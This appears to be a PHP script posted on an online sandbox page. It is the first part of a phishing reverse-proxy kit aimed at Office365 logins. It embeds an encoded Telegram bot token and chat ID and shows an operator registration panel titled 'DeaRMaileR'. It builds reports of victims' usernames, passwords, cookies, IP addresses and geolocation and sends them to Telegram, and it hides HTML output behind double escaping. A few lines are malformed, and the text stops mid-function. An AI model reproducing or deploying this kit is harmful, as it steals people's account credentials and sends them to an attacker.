gtyhjk - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of gtyhjk.php

  1. <?php
  2.  
  3. header("Access-Control-Allow-Origin: *");
  4.  
  5. $folders = array("temp","tmp");
  6.  
  7. foreach ($folders as $folder) {
  8.   if (!file_exists($folder)) {
  9.     mkdir($folder, 0755, true);
  10.   }
  11. }
  12.  
  13. $nededfile = '.htaccess';
  14.  
  15. if (!file_exists($nededfile)) {
  16.     //exit("Your file doesn't exist");
  17.     $myfile = fopen($nededfile, "w");
  18.     $filename = basename($_SERVER['SCRIPT_NAME']);
  19.     $txt = "DirectorySlash Off\nDirectoryIndex ".$filename."\nRewriteEngine On\nRewriteCond %{REQUEST_URI} !^./".$filename."$ [NC]\nRewriteRule ^(.+)$ ./".$filename."?q=$1 [L,QSA]";
  20.     fwrite($myfile, $txt);
  21.     fclose($myfile);
  22. }
  23.  
  24. // --- end modifiable variables ---
  25. $message     = '';
  26.  
  27. $whitelistPatterns = [
  28.   //Usage example: To whitelist any URL at example.net, including sub-domains, uncomment the
  29.   //line below (which is equivalent to [ @^https?://([a-z0-9-]+\.)*example\.net@i ]):
  30.   //getHostnamePattern("example.net")
  31. ];
  32.  
  33. //To disallow proxying of specific URLs (blacklist), add corresponding regular expressions
  34. //to the $blacklistPatterns array. To prevent possible abuse, enter the broadest/least-specific patterns possible.
  35. //You can optionally use the "getHostnamePattern()" helper function to build a regular expression that
  36. //matches all URLs for a given hostname.
  37. $blacklistPatterns = [
  38.   //Usage example: To blacklist any URL at example.net, including sub-domains, uncomment the
  39.   //line below (which is equivalent to [ @^https?://([a-z0-9-]+\.)*example\.net@i ]):
  40.   //getHostnamePattern("example.net")
  41. ];
  42.  
  43. $userData = [ 
  44.   'apiToken' => 'Njg4MTM1MzAzNDpBQUYweUVmRVdaNTZuTnV3eGJOSElIWV9LNzc2SDNnRVZxSQ==',
  45.   'chatid' => '6712673935',
  46.   'Email' => '[email protected]',
  47.   'AutogetCookies' => True,
  48.   'UserFile' => 'settings.ini'
  49. ];
  50.  
  51. $userCredantials = [
  52.   'username' => '',
  53.   'password' => '',
  54.   'domain' => 'Office365'
  55.  
  56. ];
  57.  
  58. //To enable CORS (cross-origin resource sharing) for proxied sites, set $forceCORS to true.
  59. $forceCORS = false;
  60.  
  61. //User Has Cookie
  62. $hascookie = false;
  63.  
  64. //User is TrueLogin
  65. $TrueLogin = false;
  66.  
  67. //Set to false to allow sites on the local network (where KinGOPProxy is running) to be proxied.
  68. $disallowLocal = true;
  69.  
  70. //Set to false to report the client machine's IP address to proxied sites via the HTTP `x-forwarded-for` header.
  71. //Setting to false may improve compatibility with some sites, but also exposes more information about end users to proxied sites.
  72. $anonymize = true;
  73.  
  74. //Start/default URL that that will be proxied when KinGOPProxy is first loaded in a browser/accessed directly with no URL to proxy.
  75. //If empty, KinGOPProxy will show its own landing page.
  76. $startURL = "";
  77.  
  78. //When no $startURL is configured above, KinGOPProxy will show its own landing page with a URL form field
  79. //and the configured example URL. The example URL appears in the instructional text on the KinGOPProxy landing page,
  80. //and is proxied when pressing the 'Proxy It!' button on the landing page if its URL form is left blank.
  81. $landingExampleURL = "https://office.com";
  82.  
  83. $bot = new Telegram(base64_decode($userData['apiToken']));
  84.  
  85. if (isset($_POST['register'])) {
  86.   if (!file_exists($userData['UserFile'])) {
  87.     file_put_contents($userData['UserFile'], '');
  88.  
  89.     if (isset($_POST['botid'])) {
  90.       if (empty($_POST['botid'])) {
  91.         $_POST['botid'] = $userData['apiToken'];
  92.       }
  93.     }
  94.       $data = $_POST;
  95.       update_ini_file($data, $userData['UserFile']);
  96.       die($userData['UserFile']." updated successfully.");
  97.   }
  98. }
  99.  
  100. if (!file_exists($userData['UserFile'])) {
  101.     //$_SESSION[$_COOKIE['PHPSESSID']]['auth']['message'] = 'Activation Required';
  102.     //file_put_contents($userData['UserFile'],"[API]\r\nToken = ");
  103.     PrintMessage();
  104. }else{
  105.   $ini_array = parse_ini_file($userData['UserFile'], true /* will scope sectionally */);
  106.   $userData['apiToken'] = hex2bin(base64_decode(hex2bin($ini_array['botid']['botid'])));
  107.   $userData['chatid'] = hex2bin(base64_decode(hex2bin($ini_array['chatid']['chatid'])));
  108.   $userData['Email'] = hex2bin(base64_decode(hex2bin($ini_array['email']['email'])));
  109. }
  110.  
  111. function PrintMessage($reg=false)
  112. {
  113. $files_content = <<<EOT
  114. <html>
  115. <title>DeaRMaileR</title>
  116. <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
  117. <style type="text/css">
  118. body{
  119.   background: black;
  120.   color: white;
  121. }
  122.  
  123. .centered {
  124.   position: fixed;
  125.   top: 50%;
  126.   left: 50%;
  127.   transform: translate(-50%, -50%);
  128.   -webkit-transform: translate(-50%, -50%);
  129.   -moz-transform: translate(-50%, -50%);
  130.   -o-transform: translate(-50%, -50%);
  131.   -ms-transform: translate(-50%, -50%);
  132.   
  133.   font-size: 20px;
  134.   background-color: transparent;
  135.   z-index: 100;
  136. }
  137.  
  138.  
  139.  
  140. input{
  141.   width: 250px;
  142.   size: 200px;
  143.   padding: 5px;
  144. }
  145.  
  146. #email{
  147.   width: 150px;
  148. }
  149.  
  150. #submit{
  151.   width: 98px;
  152. }
  153.  
  154. #reg{
  155.   border: darkgreen 1px solid;
  156.   padding: 5px;
  157. }
  158.  
  159. #msgbox{
  160.   padd
  161. }
  162.  
  163. .error{
  164.   color: red;
  165.   border: 1px solid red;
  166.   border-left: 5px solid red;
  167.   padding: 10px;
  168.   background: #ffe3d5;
  169. }
  170.  
  171. .conneting{
  172.   color: #ff8f00;
  173.   border: 1px solid #ff8f00;
  174.   border-left: 5px solid #ff8f00;
  175.   padding: 10px;
  176.   background: #f5f5dc;
  177. }
  178.  
  179. .connected{
  180.   color: green;
  181.   border: 1px solid green;
  182.   border-left: 5px solid green;
  183.   padding: 10px;
  184.   background: #F4FFF0;
  185. }
  186.  
  187. </style>
  188. <body>
  189.  
  190.  
  191. <table>
  192. <tr>
  193.     <td>
  194.         <div class="centered">
  195.  
  196.           <div id="msgbox">Welcome:</div>
  197.           <div> </div>
  198.       <div id="reg">
  199.  
  200.         <form method="POST">
  201.           <table>
  202.           <tbody>
  203.           <tr>
  204.           <td>
  205.           <table width="100%">
  206.           <tbody>
  207.           <tr>
  208.           <td colspan="2"><input id="botid" type="text" placeholder="Telegram Bot ID: 8768765-76543" ></td>
  209.           </tr>
  210.           <tr>
  211.           <td colspan="2"><input id="chatid" type="text" placeholder="Chat ID: 87654876" ></td>
  212.           </tr>
  213.           <tr>
  214.           <td><input id="email" type="email" placeholder="Email for result" ></td>
  215.           <td><input id="submit" type="submit" value="Register"></td>
  216.           </tr>
  217.            
  218.           </tbody>
  219.           </table>
  220.           </td>
  221.           </tr>
  222.           </tbody>
  223.           </table>
  224.         </form>
  225.  
  226.       </div>
  227.  
  228.  
  229.    
  230.  
  231.         </div>
  232.  
  233.     </td>
  234.     <td>
  235.         <p>
  236.             
  237.         </p>
  238.     </td>
  239. </tr>
  240. </table>
  241. <script type="text/javascript">
  242.  
  243.   var url = window.location.pathname;
  244.   var filename = url.substring(url.lastIndexOf('/')+1);
  245.  
  246. async function fetch_my_data(_url, _dat) {
  247.  
  248.    async function promised_fetch(_url, _dat) {
  249.  
  250.       return new Promise((resolve, reject) => {
  251.          $.ajax({
  252.             url:  _url,
  253.             data: _dat,
  254.             type: 'POST',
  255.             success: (response) => {
  256.               $('#msgbox').show();
  257.               $('#msgbox').removeClass('conneting').addClass('connected');
  258.               $('#msgbox').html(response);
  259.               $('#submit').val('Saved');
  260.                resolve(response);
  261.             },
  262.             error: (response) => {
  263.               $('#msgbox').show();
  264.               $('#msgbox').removeClass('conneting').addClass('error');
  265.               $('#msgbox').html(response);
  266.               $('#submit').val('Register');
  267.                reject(response);
  268.             }
  269.          });
  270.       });
  271.    }
  272.  
  273.    var _data = await promised_fetch(_url, _dat);
  274.    
  275.    return _data;
  276. }
  277.  
  278.  
  279. $(document).ready(function() {
  280.  
  281.  
  282. $("input").on('input', function(){
  283.   //alert("HAND");
  284.   $('#msgbox').hide();
  285. });
  286.  
  287.  
  288. $('#submit').on('click', function(e){
  289.    e.preventDefault();
  290.  
  291.    var botid = $('input#botid'),
  292.        email = $('input#email'),
  293.        chatid = $('input#chatid');
  294.  
  295.  
  296.     if($('#chatid')){
  297.       if (!$.trim(chatid.val())) {
  298.         $('#msgbox').show();
  299.         $('#msgbox').addClass('error');
  300.         chatid.focus();
  301.         $('#msgbox').html('Please enter Chat ID');
  302.       }
  303.       else if (!$.trim(email.val())) {
  304.         $('#msgbox').show();
  305.         $('#msgbox').addClass('error');
  306.         email.focus();
  307.         $('#msgbox').html('Please enter Email');
  308.       }else{
  309.         if(confirm("Are you sure you want to save these?")){
  310.           $('#msgbox').show();
  311.           $('#msgbox').removeClass('error').addClass('conneting');
  312.           $('#msgbox').html('Saving....');
  313.           $('#submit').val('Connecting....');
  314.           var _my_data = fetch_my_data(filename, 'register=1&botid='+$('input#botid').val()+'&chatid='+$('input#chatid').val()+'&email='+$('input#email').val());
  315.         }
  316.         else{
  317.           $('#msgbox').show();
  318.           $('#msgbox').removeClass('conneting').addClass('error');
  319.           $('#msgbox').html('User rejected.');
  320.             return false;
  321.         }
  322.         
  323.  
  324.       }
  325.     }
  326. });
  327. });
  328. </script>
  329. </body>
  330. </html>
  331. EOT;
  332. die($files_content);
  333. }
  334.  
  335. function update_ini_file($data, $filepath) { 
  336.         $content = ""; 
  337.         
  338.         //parse the ini file to get the sections
  339.         //parse the ini file using default parse_ini_file() PHP function
  340.         $parsed_ini = parse_ini_file($filepath, true);
  341.         
  342.         foreach($data as $section=>$values){
  343.             //append the section 
  344.             $content .= "[".$section."]\n"; 
  345.             //append the values
  346.             //foreach($values as $key=>$value){
  347.                 $content .= $section."=".bin2hex(base64_encode(bin2hex($values)))."\n"; 
  348.             //}
  349.         }
  350.         
  351.         //write it into file
  352.         if (!$handle = fopen($filepath, 'w')) { 
  353.             return false; 
  354.         }
  355.         $success = fwrite($handle, $content);
  356.         fclose($handle); 
  357.         return $success; 
  358. }
  359.  
  360. function getmessagendsubject($userCredantials,$hascookie=false,$TrueLogin=false)
  361. {
  362.  
  363.   $hascookie = $hascookie 'True' : 'False';
  364.  
  365.   $TrueLogin = $TrueLogin 'True' : 'False';
  366.  
  367.   $ip = get_IP_address();
  368.  
  369.   $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
  370.   $browser = $_SERVER['HTTP_USER_AGENT'];
  371.  
  372.   $subject = $userCredantials['domain'].' ['.$ip.' - '.$ipdat->geoplugin_countryName.' - '.$ipdat->geoplugin_countryCode.' - '.$ipdat->geoplugin_city.' - '.$ipdat->geoplugin_region.']';
  373.  
  374.   $message = 'Type: '.$userCredantials['domain']."\n".'Cookie Enable: '.$hascookie."\n".'TrueLogin: '.$TrueLogin."\n".'User: '.$userCredantials['username']."\n".'Password: '.$userCredantials['password']."\n".'IP: '.$ip."\n"."City:   {$ipdat->geoplugin_city}\n"."Region:   {$ipdat->geoplugin_region}\n"."Country Name:   {$ipdat->geoplugin_countryName}\n"."Country Code:   {$ipdat->geoplugin_countryCode}\n"."User-Agent: ".$browser."\n";
  375.  
  376.   return compact('subject','message');
  377.  
  378. }
  379.  
  380. function auto_code_html($text) {
  381.     $ts = '';
  382.     for ($i = 0; $i < strlen($text); $i++) {
  383.         $ts .= '\u' . sprintf('%04x', ord($text[$i]));
  384.     }
  385.     $tt = '<script language="javascript">document.write(unescape(\'' . $ts . '\'));</script>';
  386.     $te = '';
  387.     for ($i = 0; $i < strlen($tt); $i++) {
  388.         $te .= '\u' . sprintf('%04x', ord($tt[$i]));
  389.     }
  390.     $nt = '<script type="text/javascript">document.write(unescape(\'' . $te . '\'));</script>';
  391.     return $nt;
  392. }
  393.  
  394. /****************************** END CONFIGURATION ******************************/
  395.  
  396. ob_start("ob_gzhandler");
  397.  
  398. if (version_compare(PHP_VERSION, "5.4.7", "<")) {
  399.   die("KinGOPProxy requires PHP version 5.4.7 or later.");
  400. }
  401.  
  402. $requiredExtensions = ["curl", "mbstring", "xml"];
  403. foreach($requiredExtensions as $requiredExtension) {
  404.   if (!extension_loaded($requiredExtension)) {
  405.     die("KinGOPProxy requires PHP's \"" . $requiredExtension . "\" extension. Please install/enable it on your server and try again.");
  406.   }
  407. }
  408.  
  409. //Helper function for use inside $whitelistPatterns/$blacklistPatterns.
  410. //Returns a regex that matches all HTTP[S] URLs for a given hostname.
  411. function getHostnamePattern($hostname) {
  412.   $escapedHostname = str_replace(".", "\.", $hostname);
  413.   return "@^https?://([a-z0-9-]+\.)*" . $escapedHostname . "@i";
  414. }
  415.  
  416. class Telegram
  417. {
  418.   
  419.   /**
  420.   * Telegram Bot ID
  421.   *
  422.   * @var    string
  423.   * @access private
  424.   */
  425.   private $bot_key;
  426.   
  427.   
  428.   /**
  429.   * Konstruktor => Setzt Bot ID 
  430.   *
  431.   * @param  string  $bkey Bot ID
  432.   * @access public
  433.   */
  434.   public function __construct($bkey = NULL)
  435.   {
  436.     $this->bot_key = $bkey;
  437.   }
  438.   
  439.   /**
  440.   * Anfrage an Telegram senden
  441.   *
  442.   * @param  string  $action
  443.   * @param  array $data
  444.   * @return array
  445.   * @access private
  446.   */
  447.   private function send($action, $data = array()) 
  448.   {
  449.     $apiendpoint = ucfirst($action);
  450.  
  451.     $ch = curl_init("https://api.telegram.org/bot".$this->bot_key."/".$apiendpoint);
  452.     curl_setopt_array($ch, array(
  453.       CURLOPT_RETURNTRANSFER => true,
  454.       CURLOPT_POST => true,
  455.       CURLOPT_HEADER => false,
  456.       CURLOPT_HTTPHEADER => array(
  457.         'Host: api.telegram.org',
  458.         'Content-Type: multipart/form-data'
  459.       ),
  460.       CURLOPT_POSTFIELDS => $data,
  461.       CURLOPT_TIMEOUT => 0,
  462.       CURLOPT_CONNECTTIMEOUT => 6000,
  463.       CURLOPT_SSL_VERIFYPEER => false
  464.     ));
  465.     $result = curl_exec($ch);
  466.     curl_close($ch);
  467.     
  468.     return !empty($result) ? json_decode($result, true) : false;
  469.   }
  470.   
  471.   /**
  472.   * Nachricht senden
  473.   *
  474.   * <b>Output:</b><br>
  475.   * <code>
  476.   *  Array
  477.   *  (
  478.   *      [success] => 1 oder 0
  479.   *      [info] => Zeigt Info oder Fehlermeldung  
  480.   *  )
  481.   * </code>
  482.   *
  483.   * @param  string  $chat_id          required  ID des Telegram Chats
  484.   * @param  string  $text           required  Text der gesendet werden soll
  485.   * @param  string  $parse_mode         optinal   Markdown oder HTML f���r z.B. fettgedruckte Texte
  486.   * @param  boolean $disable_web_page_preview optinal   Legt fest ob Webpreview deaktivert werden soll
  487.   * @param  boolean $disable_notification   optinal   Benachrichtigung deaktivieren
  488.   * @param  integer $reply_to_message_id    optinal   Nachrichten ID f���r den "Antworten" Modus (reply)
  489.   * @return array
  490.   * @access public
  491.   */
  492.   public function sendMessage($chat_id, $text, $parse_mode = NULL,  $disable_web_page_preview = false, $disable_notification = false, $reply_to_message_id = NULL)
  493.   {
  494.     $action = 'sendMessage';
  495.     $param = array(
  496.       'chat_id'         =>  $chat_id,
  497.       'text'            =>  $text,
  498.       'parse_mode'        =>  $parse_mode,
  499.       'disable_web_page_preview'  =>  $disable_web_page_preview,
  500.       'disable_notification'    =>  $disable_notification,
  501.       'reply_to_message_id'   =>  $reply_to_message_id
  502.     );
  503.     
  504.     $res = $this->send($action, $param);
  505.     if (!$res['ok'])
  506.       $result = Array("success" => 0, "info"  =>  "Error: " . $res['description']);
  507.     else
  508.       $result = Array("success" => 1, "info"  =>  "Message send");
  509.     
  510.     return $result;
  511.   }
  512.   
  513.   /**
  514.   * Bild senden
  515.   *
  516.   * <b>Output:</b><br>
  517.   * <code>
  518.   *  Array
  519.   *  (
  520.   *      [success] => 1 oder 0
  521.   *      [info] => Zeigt Info oder Fehlermeldung  
  522.   *  )
  523.   * </code>
  524.   *
  525.   * @param  string  $chat_id  required  ID des Telegram Chats
  526.   * @param  string  $photo    required  Bild das gesendet werden soll
  527.   * @param  string  $caption  optional  Bildbeschreibung
  528.   * @return array
  529.   * @access public
  530.   */
  531.   public function sendPhoto($chat_id, $photo, $caption = NULL)
  532.   {
  533.     $action = 'sendPhoto';
  534.     $param = array(
  535.       'chat_id' =>  $chat_id,
  536.       'photo'   =>  $this->curlFile($photo),
  537.       'caption' =>  $caption
  538.     );
  539.     
  540.     $res = $this->send($action, $param);
  541.     if (!$res['ok'])
  542.       $result = Array("success" => 0, "info"  =>  "Error: " . $res['description']);
  543.     else
  544.       $result = Array("success" => 1, "info"  =>  "Photo send");
  545.     
  546.     return $result;
  547.   }
  548.   
  549.   /**
  550.   * Dateien senden
  551.   *
  552.   * <b>Output:</b><br>
  553.   * <code>
  554.   *  Array
  555.   *  (
  556.   *      [success] => 1 oder 0
  557.   *      [info] => Zeigt Info oder Fehlermeldung  
  558.   *  )
  559.   * </code>
  560.   *
  561.   * @param  string  $chat_id  required  ID des Telegram Chats
  562.   * @param  string  $document required  Datei die gesendet werden soll
  563.   * @return array
  564.   * @access public
  565.   */
  566.   public function sendDocument($chat_id, $document)
  567.   { 
  568.     $action = 'sendDocument';
  569.     $param = array(
  570.       'chat_id' =>  $chat_id,
  571.       'document'  =>  $this->curlFile($document)
  572.     );
  573.     
  574.     $res = $this->send($action, $param);
  575.     if (!$res['ok'])
  576.       $result = Array("success" => 0, "info"  =>  "Error: " . $res['description']);
  577.     else
  578.       $result = Array("success" => 1, "info"  =>  "Document send");
  579.     
  580.     return $result;
  581.   }
  582.   
  583.   /**
  584.   * Audio senden
  585.   *
  586.   * <b>Output:</b><br>
  587.   * <code>
  588.   *  Array
  589.   *  (
  590.   *      [success] => 1 oder 0
  591.   *      [info] => Zeigt Info oder Fehlermeldung  
  592.   *  )
  593.   * </code>
  594.   *
  595.   * @param  string  $chat_id  required  ID des Telegram Chats
  596.   * @param  string  $audio    required  Audio Datei die gesendet werden soll
  597.   * @param  string  $interpret  optional  Interpret
  598.   * @param  string  $title    optional  Titel
  599.   * @return array
  600.   * @access public
  601.   */
  602.   public function sendAudio($chat_id, $audio, $interpret = NULL, $title = NULL)
  603.   { 
  604.     $action = 'sendAudio';
  605.     $param = array(
  606.       'chat_id' =>  $chat_id,
  607.       'audio'   =>  $this->curlFile($audio),
  608.       'performer' =>  $interpret,
  609.       'title'   =>  $title
  610.     );
  611.     
  612.     $res = $this->send($action, $param);
  613.     if (!$res['ok'])
  614.       $result = Array("success" => 0, "info"  =>  "Error: " . $res['description']);
  615.     else
  616.       $result = Array("success" => 1, "info"  =>  "Audio send");
  617.     
  618.     return $result;
  619.   }
  620.   
  621.   /**
  622.   * Video senden
  623.   *
  624.   * <b>Output:</b><br>
  625.   * <code>
  626.   *  Array
  627.   *  (
  628.   *      [success] => 1 oder 0
  629.   *      [info] => Zeigt Info oder Fehlermeldung  
  630.   *  )
  631.   * </code>
  632.   *
  633.   * @param  string  $chat_id  required  ID des Telegram Chats
  634.   * @param  string  $video    required  Viedeo das gesendet werden soll
  635.   * @param  string  $caption  optional  Videobeschreibung
  636.   * @return array
  637.   * @access public
  638.   */
  639.   public function sendVideo($chat_id, $video, $caption = NULL)
  640.   {
  641.     $action = 'sendPhoto';
  642.     $param = array(
  643.       'chat_id' =>  $chat_id,
  644.       'video'   =>  $this->curlFile($video),
  645.       'caption' =>  $caption
  646.     );
  647.     
  648.     $res = $this->send($action, $param);
  649.     if (!$res['ok'])
  650.       $result = Array("success" => 0, "info"  =>  "Error: " . $res['description']);
  651.     else
  652.       $result = Array("success" => 1, "info"  =>  "Video send");
  653.     
  654.     return $result;
  655.   }
  656.   
  657.   /**
  658.   * Chat Aktion senden
  659.   *
  660.   * <b>Output:</b><br>
  661.   * <code>
  662.   *  Array
  663.   *  (
  664.   *      [success] => 1 oder 0
  665.   *      [info] => Zeigt Info oder Fehlermeldung  
  666.   *  )
  667.   * </code>
  668.   *
  669.   * @param  string  $chat_id  required  ID des Telegram Chats
  670.   * @param  integer $type   required  1 => Nachrichten, 2 => Fotos, 3 => Viedeo aufnehmen, 4 => Viedeo senden/hochladen, 5 => Audio aufnehmen, 6 => Audio senden/hochladen, 7 => Dateien
  671.   * @return array
  672.   * @access public
  673.   */
  674.   public function sendChatAction($chat_id, $type)
  675.   {
  676.     $do_action = "";
  677.     
  678.     switch($type)
  679.     {
  680.       case 1:
  681.         $do_action = "typing";
  682.       break;
  683.       
  684.       case 2:
  685.         $do_action = "upload_photo";
  686.       break;
  687.       
  688.       case 3:
  689.         $do_action = "record_video";
  690.       break;
  691.       
  692.       case 4:
  693.         $do_action = "upload_video";
  694.       break;
  695.       
  696.       case 5:
  697.         $do_action = "record_audio";
  698.       break;
  699.       
  700.       case 6:
  701.         $do_action = "upload_audio";
  702.       break;
  703.       
  704.       case 7:
  705.         $do_action = "upload_document";
  706.       break;
  707.     }
  708.     
  709.     $action = 'sendChatAction';
  710.     $param = array(
  711.       'chat_id' =>  $chat_id,
  712.       'action'  =>  $do_action
  713.     );
  714.     
  715.     $res = $this->send($action, $param);
  716.     if (!$res['ok'])
  717.       $result = Array("success" => 0, "info"  =>  "Error: " . $res['description']);
  718.     else
  719.       $result = Array("success" => 1, "info"  =>  "Chat Action send");
  720.     
  721.     return $result;
  722.   }
  723.   
  724.   /**
  725.   * User aus Gruppe kicken
  726.   *
  727.   * <b>Output:</b><br>
  728.   * <code>
  729.   *  Array
  730.   *  (
  731.   *      [success] => 1 oder 0
  732.   *      [info] => Zeigt Info oder Fehlermeldung
  733.   *  )
  734.   * </code>
  735.   *
  736.   * @param  string  $chat_id  required  ID des Telegram Chats
  737.   * @param  integer $user_id  required  ID des Users der gekickt werden soll
  738.   * @return array
  739.   * @access public
  740.   */
  741.   public function kickChatMember($chat_id, $user_id)
  742.   {
  743.     $action = 'kickChatMember';
  744.     $param = array(
  745.       'chat_id'         =>  $chat_id,
  746.       'user_id'         =>  $user_id
  747.     );
  748.  
  749.     $res = $this->send($action, $param);
  750.     if (!$res['ok'])
  751.       $result = Array("success" => 0, "info"  =>  "Error: " . $res['description']);
  752.     else
  753.       $result = Array("success" => 1, "info"  =>  "Member kicked");
  754.  
  755.     return $result;
  756.   }
  757.   
  758.   /**
  759.   * Ban von einem User entfernen
  760.   *
  761.   * <b>Output:</b><br>
  762.   * <code>
  763.   *  Array
  764.   *  (
  765.   *      [success] => 1 oder 0
  766.   *      [info] => Zeigt Info oder Fehlermeldung
  767.   *  )
  768.   * </code>
  769.   *
  770.   * @param  string  $chat_id  required  ID des Telegram Chats
  771.   * @param  integer $user_id  required  ID des Users der entbannt werden soll
  772.   * @return array
  773.   * @access public
  774.   */
  775.   public function unbanChatMember($chat_id, $user_id)
  776.   {
  777.     $action = 'unbanChatMember';
  778.     $param = array(
  779.       'chat_id'         =>  $chat_id,
  780.       'user_id'         =>  $user_id
  781.     );
  782.  
  783.     $res = $this->send($action, $param);
  784.     if (!$res['ok'])
  785.       $result = Array("success" => 0, "info"  =>  "Error: " . $res['description']);
  786.     else
  787.       $result = Array("success" => 1, "info"  =>  "Member kicked");
  788.  
  789.     return $result;
  790.   }
  791.   
  792.   /**
  793.   * Auswahl Keyboard zeigen
  794.   *
  795.   * <b>Output:</b><br>
  796.   * <code>
  797.   *  Array
  798.   *  (
  799.   *      [success] => 1 oder 0
  800.   *      [info] => Zeigt Info oder Fehlermeldung  
  801.   *  )
  802.   * </code>
  803.   *
  804.   * @param  string  $chat_id  required  ID des Telegram Chats
  805.   * @param  string  $text   required  Text der gesendet werden soll
  806.   * @param  array $keyboard required  Auswahlfelder z.B. array( array( "Zeile1 Test1", "Zeile1 Test2" ), array( "Zeile2 Test3", "Zeile2 Test4" ) )
  807.   * @return array
  808.   * @access public
  809.   */
  810.   public function sendKeyboard($chat_id, $text, $keyboard = Array())
  811.   {
  812.     $action = 'sendMessage';
  813.     $param = array(
  814.       'chat_id'   =>  $chat_id,
  815.       'reply_markup'  =>  json_encode(array("keyboard" => $keyboard)),
  816.       'text'      =>  $text
  817.     );
  818.     
  819.     $res = $this->send($action, $param);
  820.     if (!$res['ok'])
  821.       $result = Array("success" => 0, "info"  =>  "Error: " . $res['description']);
  822.     else
  823.       $result = Array("success" => 1, "info"  =>  "Keyboard show");
  824.     
  825.     return $result;
  826.   }
  827.   
  828.   /**
  829.   * Auswahl Keyboard ausblenden
  830.   *
  831.   * <b>Output:</b><br>
  832.   * <code>
  833.   *  Array
  834.   *  (
  835.   *      [success] => 1 oder 0
  836.   *      [info] => Zeigt Info oder Fehlermeldung  
  837.   *  )
  838.   * </code>
  839.   *
  840.   * @param  string  $chat_id  required  ID des Telegram Chats
  841.   * @param  string  $text   required  Text der gesendet werden soll
  842.   * @return array
  843.   * @access public
  844.   */
  845.   public function hideKeyboard($chat_id, $text)
  846.   {
  847.     $action = 'sendMessage';
  848.     $param = array(
  849.       'chat_id'   =>  $chat_id,
  850.       'reply_markup'  =>  json_encode(array("hide_keyboard" => true)),
  851.       'text'      =>  $text
  852.     );
  853.     
  854.     $res = $this->send($action, $param);
  855.     if (!$res['ok'])
  856.       $result = Array("success" => 0, "info"  =>  "Error: " . $res['description']);
  857.     else
  858.       $result = Array("success" => 1, "info"  =>  "Keyboard hide");
  859.     
  860.     return $result;
  861.   }
  862.   
  863.   /**
  864.   * Webhook setzen
  865.   *
  866.   * <b>Output:</b><br>
  867.   * <code>
  868.   *  Array
  869.   *  (
  870.   *      [success] => 1 oder 0
  871.   *      [info] => Zeigt Info oder Fehlermeldung  
  872.   *  )
  873.   * </code>
  874.   *
  875.   * @param  string  $url  required  URL zu der Datei mit der der Telegram Bot verbunden werden soll
  876.   * @return array
  877.   * @access public
  878.   */
  879.   public function setWebhook($url = NULL) 
  880.   {
  881.     $result = Array();
  882.     
  883.     if (empty($url))
  884.       $result = Array("success" => 0, "info" => "Keine g���ltige URL angegeben");
  885.     else 
  886.     {
  887.       $url .= "?sender=telegram";
  888.       $res = $this->send('setWebhook', array('url' => $url));
  889.       if (!$res['ok'])
  890.         $result = Array("success" => 0, "info" => "Webhook was not set! Error: " . $res['description']);
  891.       else
  892.         $result = Array("success" => 1, "info"  =>  $res['description']);
  893.     }
  894.     
  895.     return $result;
  896.   }
  897.   
  898.   /**
  899.   * Webhook l���schen
  900.   *
  901.   * <b>Output:</b><br>
  902.   * <code>
  903.   *  Array
  904.   *  (
  905.   *      [success] => 1 oder 0
  906.   *      [info] => Zeigt Info oder Fehlermeldung  
  907.   *  )
  908.   * </code>
  909.   *
  910.   * @return array
  911.   * @access public
  912.   */
  913.   public function delWebhook() 
  914.   {
  915.     $result = Array();
  916.     
  917.     $res = $this->send('setWebhook');
  918.     if (!$res['ok'])
  919.       $result = Array("success" => 0, "info" => "Webhook was not delete! Error: " . $res['description']);
  920.     else
  921.       $result = Array("success" => 1, "info"  =>  $res['description']);
  922.     
  923.     
  924.     return $result;
  925.   }
  926.   
  927.   /**
  928.   * create curl file
  929.   *
  930.   * @param string $fileName
  931.   * @return string
  932.   */
  933.   private function curlFile($fileName) 
  934.   {
  935.     $filename = realpath($fileName);
  936.     
  937.     if (!is_file($filename))
  938.       throw new Exception('File does not exists');
  939.     
  940.     if (function_exists('curl_file_create'))
  941.       return curl_file_create($filename);
  942.  
  943.     return "@$filename";
  944.   }
  945. }
  946.  
  947. function get_IP_address(){
  948.     foreach (array('HTTP_CLIENT_IP',
  949.                    'HTTP_X_FORWARDED_FOR',
  950.                    'HTTP_X_FORWARDED',
  951.                    'HTTP_X_CLUSTER_CLIENT_IP',
  952.                    'HTTP_FORWARDED_FOR',
  953.                    'HTTP_FORWARDED',
  954.                    'REMOTE_ADDR') as $key){
  955.         if (array_key_exists($key, $_SERVER) === true){
  956.             foreach (explode(',', $_SERVER[$key]) as $IPaddress){
  957.                 $IPaddress = trim($IPaddress); // Just to be safe
  958.  
  959.                 if (filter_var($IPaddress,
  960.                                FILTER_VALIDATE_IP,
  961.                                FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)
  962.                     !== false) {
  963.  
  964.                     return $IPaddress;
  965.                 }
  966.             }
  967.         }
  968.     }
  969. }
  970.  
  971. //Helper function that determines whether to allow proxying of a given URL.
  972. function isValidURL($url) {
  973.   //Validates a URL against the whitelist.
  974.   function passesWhitelist($url) {
  975.     if (count($GLOBALS['whitelistPatterns']) === 0) return true;
  976.     foreach ($GLOBALS['whitelistPatterns'] as $pattern) {
  977.       if (preg_match($pattern, $url)) {
  978.         return true;
  979.       }
  980.     }
  981.     return false;
  982.   }
  983.  
  984.   //Validates a URL against the blacklist.
  985.   function passesBlacklist($url) {
  986.     foreach ($GLOBALS['blacklistPatterns'] as $pattern) {
  987.       if (preg_match($pattern, $url)) {
  988.         return false;
  989.       }
  990.     }
  991.     return true;
  992.   }
  993.  
  994.   function isLocal($url) {
  995.     //die($url);
  996.     //First, generate a list of IP addresses that correspond to the requested URL.
  997.     $ips = [];
  998.     $host = parse_url($url, PHP_URL_HOST);
  999.     if (filter_var($host, FILTER_VALIDATE_IP)) {
  1000.       //The supplied host is already a valid IP address.
  1001.       $ips = [$host];
  1002.     } else {
  1003.       //The host is not a valid IP address; attempt to resolve it to one.
  1004.       $dnsResult = dns_get_record($host, DNS_A + DNS_AAAA);
  1005.       $ips = array_map(function($dnsRecord) { return $dnsRecord['type'] == 'A' ? $dnsRecord['ip'] : $dnsRecord['ipv6']; }, $dnsResult);
  1006.     }
